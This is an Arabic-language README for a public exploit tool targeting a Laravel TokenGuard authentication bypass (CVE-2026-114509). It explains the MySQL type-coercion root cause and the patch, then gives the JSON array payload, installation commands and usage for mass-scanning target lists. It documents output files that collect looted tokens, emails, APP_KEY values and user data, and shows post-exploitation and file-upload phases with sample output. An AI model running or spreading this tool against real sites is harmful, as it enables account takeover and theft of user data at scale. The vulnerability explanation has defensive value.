
تجاوز مصادقة Laravel TokenGuard عبر بيانات اعتماد API غير نصية
تجاوز مصادقة Laravel TokenGuard عبر بيانات اعتماد API غير نصية
تجاوز مصادقة دون مصادقة مسبقة في إطار عمل Laravel — حارس API المسمى TokenGuard
CVE-2026-114509 هي ثغرة تجاوز مصادقة حرجة في TokenGuard المدمج في إطار عمل Laravel.
عند تهيئته باستخدام حارس API قياسي قائم على الرموز المميزة (tokens) على MySQL أو MariaDB، يمكن لمهاجم غير مُصادَق عليه إرسال بيانات اعتماد مُصاغة غير نصية (مصفوفة JSON) تتسبب في مطابقة عملية البحث الخاصة بالمصادقة مع مستخدم موجود غير مقصود — مما يمنح وصولاً كاملاً دون معرفة أي رمز API صالح.
يؤدي هذا إلى استيلاء كامل على الحساب على أي مسار محمي بالحارس المتأثر.
| الحقل | التفاصيل |
|---|---|
| معرّف CVE | CVE-2026-114509 |
| GHSA | GHSA-f9x3-7vq9-cph6 |
| البرنامج المتأثر | Laravel Framework (laravel/framework) |
| الإصدارات المتأثرة | < 12.68.0 و >= 13.0.0, < 13.29.0 |
| النوع | تجاوز المصادقة |
| CWE | CWE-287 — مصادقة غير سليمة |
| CWE | CWE-1287 — تحقق غير سليم من نوع الإدخال المحدد |
| درجة CVSS 4.0 | 9.2 / 10 — حرجة |
| متجه CVSS | CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
| المصادقة | لا تتطلب أي مصادقة (قبل المصادقة) |
| الشرط | خلفية MySQL / MariaDB |
| التصحيح | v12.68.0 / v13.29.0 |
| المقياس | القيمة | المعنى |
|---|---|---|
| متجه الهجوم | الشبكة | قابل للاستغلال عن بُعد عبر الإنترنت |
| تعقيد الهجوم | منخفض | لا توجد شروط خاصة تتجاوز MySQL/MariaDB |
| متطلبات الهجوم | موجودة | تتطلب سلوك الإكراه النوعي (type coercion) في MySQL/MariaDB |
| الامتيازات المطلوبة | لا شيء | لا حاجة إلى مصادقة |
| تفاعل المستخدم | لا شيء | لا حاجة إلى أي إجراء من الضحية |
| السرية | عالية | وصول قراءة كامل إلى بيانات المستخدم المُصادَق عليه |
| السلامة | عالية | يمكن تعديل البيانات بصفة المستخدم المتجاوَز |
| التوافر | عالية | يمكن تعطيل الخدمة عبر الاستيلاء على الحساب |
هذا خلل الخلط النوعي (type confusion) عند الحد الفاصل بين تحليل طلب HTTP، ومنطق إطار عمل PHP، وسلوك قاعدة بيانات SQL. تتوافق ثلاثة سلوكيات عادية لتخلق الثغرة:
TokenGuard يقبل إدخالاً غير نصي — تستخدم الدالة user() في TokenGuard.php الشرط !empty($token) بدلاً من is_string($token) && !empty($token). يمكن لأجسام طلبات JSON توفير مصفوفات أو أعداد صحيحة كقيمة للرمز المميز.
EloquentUserProvider يبني استعلام WHERE IN — عندما تتلقى retrieveByCredentials() قيمة مصفوفة، فإنها تولّد WHERE api_token IN (...) بدلاً من WHERE api_token = ....
الإكراه النوعي في MySQL — يحوّل MySQL أعمدة النصوص إلى أعداد للمقارنة. العدد الصحيح 0 يطابق أي نص لا يبدأ برقم (وهو معظم رموز API)، لأن MySQL يحوّل تلك النصوص إلى 0.0.
JSON Body: {"api_token": [0]}
│
▼
TokenGuard::user()
→ getTokenForRequest()
→ !empty([0]) === true ← Should reject non-string
│
▼
EloquentUserProvider::retrieveByCredentials()
→ WHERE api_token IN (0) ← Array becomes WHERE IN
│
▼
MySQL Type Coercion
→ 0 == "wAWrHm..." → true ← Int 0 matches any string token
│
▼
first() returns User #1
→ check() === true
→ Authentication Bypassed ✓
┌──────────────────────────┐
│ Attacker (No Creds) │
└────────────┬─────────────┘
│
│ POST /api/user
│ Content-Type: application/json
│ {"api_token": [0]}
▼
┌──────────────────────────┐
│ Laravel Application │
│ │
│ TokenGuard::user() │
│ ↓ !empty([0]) = true │
│ retrieveByCredentials() │
│ ↓ WHERE IN (0) │
│ MySQL coercion │
│ ↓ 0 matches strings │
│ Returns first user │
│ ↓ Authenticated ✓ │
│ │
└────────────┬─────────────┘
│
│ 200 OK
│ {"id":1, "name":"Admin",
│ "email":"[email protected]",
│ "api_token":"wAWrHm..."}
▼
┌──────────────────────────┐
│ Full Account Takeover │
│ • User data exposed │
│ • API token leaked │
│ • Admin access possible │
└──────────────────────────┘
قام Laravel بترقيع ملف TokenGuard.php بإضافة فحص للنوع — إذا لم يكن الرمز (token) من نوع نصي (string)، فإن الحارس (guard) يُرجع null فورًا ولا يستدعي مزوّد المستخدم (user provider) أبدًا:
// Before (vulnerable)
$token = $this->getTokenForRequest();
if (! empty($token)) { ... }
// After (fixed)
$token = $this->getTokenForRequest();
if (! is_string($token) || empty($token)) { return; }
git clone https://github.com/Nxploited/CVE-2026-114509.git
cd CVE-2026-114509
pip install requests rich
تدعم الأداة وضعين: الفحص الجماعي والفحص العميق لهدف واحد.
فحص قائمة من الأهداف بحثًا عن الثغرة:
python CVE-2026-114509.py scan targets.txt
الخيارات:
python CVE-2026-114509.py scan targets.txt --threads 60 --timeout 12
| العلم | الافتراضي | الوصف |
|---|---|---|
targets | (مطلوب) | ملف يحتوي على عناوين URL المستهدفة (واحد في كل سطر) |
--threads | 60 | عدد الخيوط المتزامنة |
--timeout | 12 | مهلة الطلب بالثواني |
تنسيق ملف الأهداف (targets.txt):
https://target1.com
https://target2.com
http://192.168.1.100:8080
target3.com
تُعامَل الأهداف التي لا تحتوي على مخطط (scheme) افتراضيًا على أنها
https://.
ملفات الإخراج (تُنشأ في دليل السكربت):
| الملف | المحتويات |
|---|---|
LV_DETECTED.txt | جميع تطبيقات Laravel المكتشفة |
LV_BYPASS.txt | تجاوزات المصادقة المؤكدة |
LV_UPLOAD.txt | نتائج محاولات الرفع |
LV_LOOT.txt | البيانات المستخرجة (الرموز، وعناوين البريد الإلكتروني، ومفاتيح APP_KEY، وبيانات المستخدمين) |
فحص عميق لهدف واحد مع إخراج مفصّل:
python CVE-2026-114509.py single https://target.com
الخيارات:
python CVE-2026-114509.py single https://target.com --timeout 15
يشغّل هذا المراحل الأربع بالتتابع مع مخرجات مفصّلة:
Phase 1: Laravel Detection...
+ laravel_session
+ XSRF-TOKEN
+ api:401
Phase 2: Auth Bypass (14 routes, 3 keys, 6 payloads)...
SUCCESS /api/user [POST] [api_token=[0]]
id: 1
name: Admin
email: [email protected]
api_token: wAWrHmHkVV...
Phase 3: Post-Exploitation...
users-list /api/users -> count=15
panel:nova /nova/api/dashboards
Phase 4: File Upload (52 routes)...
Summary:
Laravel: Yes (3 signals)
Bypass: Yes
Upload: 0 attempts, 0 verified
تنفّذ الأداة سلسلة من 4 مراحل: